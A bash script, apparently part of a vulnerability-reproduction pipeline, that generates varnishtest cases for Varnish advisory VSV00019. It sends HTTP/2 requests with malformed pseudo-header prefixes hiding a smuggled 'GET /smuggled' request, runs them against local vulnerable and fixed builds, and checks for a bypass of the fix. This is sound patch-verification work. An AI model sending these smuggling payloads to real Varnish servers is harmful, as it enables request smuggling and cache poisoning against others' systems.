#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"

CACHE_DIR="$ROOT/artifacts/varnish"
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" || true)
    [ -z "$CACHE_DIR" ] && CACHE_DIR="$ROOT/artifacts/varnish"
fi
mkdir -p "$CACHE_DIR"

VULN_DIR="$CACHE_DIR/repo"
FIXED_DIR="$CACHE_DIR/repo-fixed"

VULN_SHA=$(git -C "$VULN_DIR" rev-parse HEAD)
FIXED_SHA=$(git -C "$FIXED_DIR" rev-parse HEAD)

echo "[info] Vulnerable source: $VULN_SHA"
echo "[info] Fixed source:    $FIXED_SHA"

for repo in "$VULN_DIR" "$FIXED_DIR"; do
    if [ ! -x "$repo/bin/vinyld/varnishd" ] || [ ! -x "$repo/bin/vinyltest/varnishtest" ]; then
        echo "[error] Missing binaries in $repo; run the repro stage first to build them." >&2
        exit 1
    fi
done

write_variant_vtc() {
    local hdr="$1"
    local file="$2"
    cat > "$file" <<EOF
vtest "VSV00019 variant: $hdr pseudo-header prefix"

server s1 {
    rxreq
    expect req.url == "/attack"
    expect req.bodylen == 35
    txresp -status 200 -body "first"

    rxreq
    expect req.url == "/smuggled"
    expect req.method == "GET"
    txresp -status 200 -body "smuggled"
} -start

varnish v1 -vcl+backend {
    sub vcl_backend_fetch {
        unset bereq.http.X-Varnish;
        unset bereq.http.Via;
        unset bereq.http.X-Forwarded-For;
        set bereq.http.Host = "";
    }
} -start

varnish v1 -cliok "param.set feature +http2"

client c1 {
    stream 1 {
        txreq -nostrend -noadd -hdr ":method" "POST" -hdr ":path" "/attack" -hdr ":scheme" "http" -hdr "content-length" "35" -hdr "$hdr" "xx" -hdr "x-pad" "aaaaaaaaaaaaaaaa"
        txdata -data "GET /smuggled HTTP/1.1\r\nHost: x\r\n\r\n"
        rxresp
        expect resp.status == 200
    } -run
} -run
EOF
}

run_vtc() {
    local repo="$1"
    local vtc="$2"
    local logfile="$3"
    (
        cd "$repo"
        PATH="$repo/bin/vinyld:$PATH"
        LD_LIBRARY_PATH="$repo/lib/libvinyl/.libs:$repo/lib/libvinylapi/.libs:$repo/lib/libvcc/.libs:$repo/lib/libvsc/.libs:$repo/lib/libvgz/.libs:${LD_LIBRARY_PATH:-}"
        ./bin/vinyltest/varnishtest -v "$vtc" > "$logfile" 2>&1 || true
    )
}

detect_smuggle() {
    local logfile="$1"
    grep -q 'EXPECT req.url (/smuggled) == "/smuggled" match' "$logfile"
}

detect_protocol_error() {
    local logfile="$1"
    grep -q 'rst->err: PROTOCOL_ERROR' "$logfile"
}

detect_test_passed() {
    local logfile="$1"
    local vtc="$2"
    grep -q "$(basename "$vtc") passed" "$logfile"
}

# Variant pseudo-header names to test. All are prefixes of the four
# standard H/2 pseudo-headers except the baseline :a and the negative
# control :authorityfoo, which is not a prefix and should be rejected
# even on the vulnerable version.
VARIANTS=(
    ":a"
    ":"
    ":au"
    ":auth"
    ":m"
    ":p"
    ":s"
    ":authorityfoo"
)

BYPASS_FOUND=false
SUMMARY_FILE="$LOGS/variant_summary.txt"
{
    echo "VULN_SHA=$VULN_SHA"
    echo "FIXED_SHA=$FIXED_SHA"
    echo ""
    printf "%-20s %-10s %-10s %-10s %-10s\n" "HEADER" "VULN_SM" "VULN_PASS" "FIX_SM" "FIX_RST"
} > "$SUMMARY_FILE"

for hdr in "${VARIANTS[@]}"; do
    # Create a file-system-safe token from the header name.
    safe_hdr=$(printf '%s' "$hdr" | tr -c 'A-Za-z0-9:' '_' | tr ':' 'c')
    vtc="$VARIANT_DIR/x_variant_${safe_hdr}.vtc"
    write_variant_vtc "$hdr" "$vtc"

    vuln_log="$LOGS/variant_${safe_hdr}_vuln.log"
    fixed_log="$LOGS/variant_${safe_hdr}_fixed.log"

    echo "[run] Variant $hdr against vulnerable $VULN_SHA..."
    run_vtc "$VULN_DIR" "$vtc" "$vuln_log"

    echo "[run] Variant $hdr against fixed $FIXED_SHA..."
    run_vtc "$FIXED_DIR" "$vtc" "$fixed_log"

    vuln_sm="no";  detect_smuggle "$vuln_log" && vuln_sm="yes"
    vuln_pass="no"; detect_test_passed "$vuln_log" "$vtc" && vuln_pass="yes"
    fixed_sm="no"; detect_smuggle "$fixed_log" && fixed_sm="yes"
    fixed_rst="no"; detect_protocol_error "$fixed_log" && fixed_rst="yes"

    printf "%-20s %-10s %-10s %-10s %-10s\n" "$hdr" "$vuln_sm" "$vuln_pass" "$fixed_sm" "$fixed_rst" >> "$SUMMARY_FILE"

    if [ "$fixed_sm" = "yes" ]; then
        echo "[alert] Variant $hdr bypasses the fixed version (smuggled on fixed)!"
        BYPASS_FOUND=true
    fi
done

# Also run the upstream f00019 regression test against the fixed version
# to document that the fix explicitly covers the known prefix variants.
UPSTREAM_TEST="$FIXED_DIR/bin/vinyltest/tests/f00019.vtc"
if [ -f "$UPSTREAM_TEST" ]; then
    upstream_log="$LOGS/variant_f00019_fixed.log"
    echo "[run] Upstream f00019 regression test against fixed $FIXED_SHA..."
    run_vtc "$FIXED_DIR" "$UPSTREAM_TEST" "$upstream_log"
    if detect_test_passed "$upstream_log" "$UPSTREAM_TEST"; then
        echo "f00019_fixed=passed" >> "$SUMMARY_FILE"
    else
        echo "f00019_fixed=failed" >> "$SUMMARY_FILE"
    fi
fi

cat "$SUMMARY_FILE"

if [ "$BYPASS_FOUND" = true ]; then
    echo "[result] BYPASS FOUND: at least one variant reproduced on the fixed version."
    exit 0
else
    echo "[result] No bypass found. The fixed version rejects all tested prefix variants."
    exit 1
fi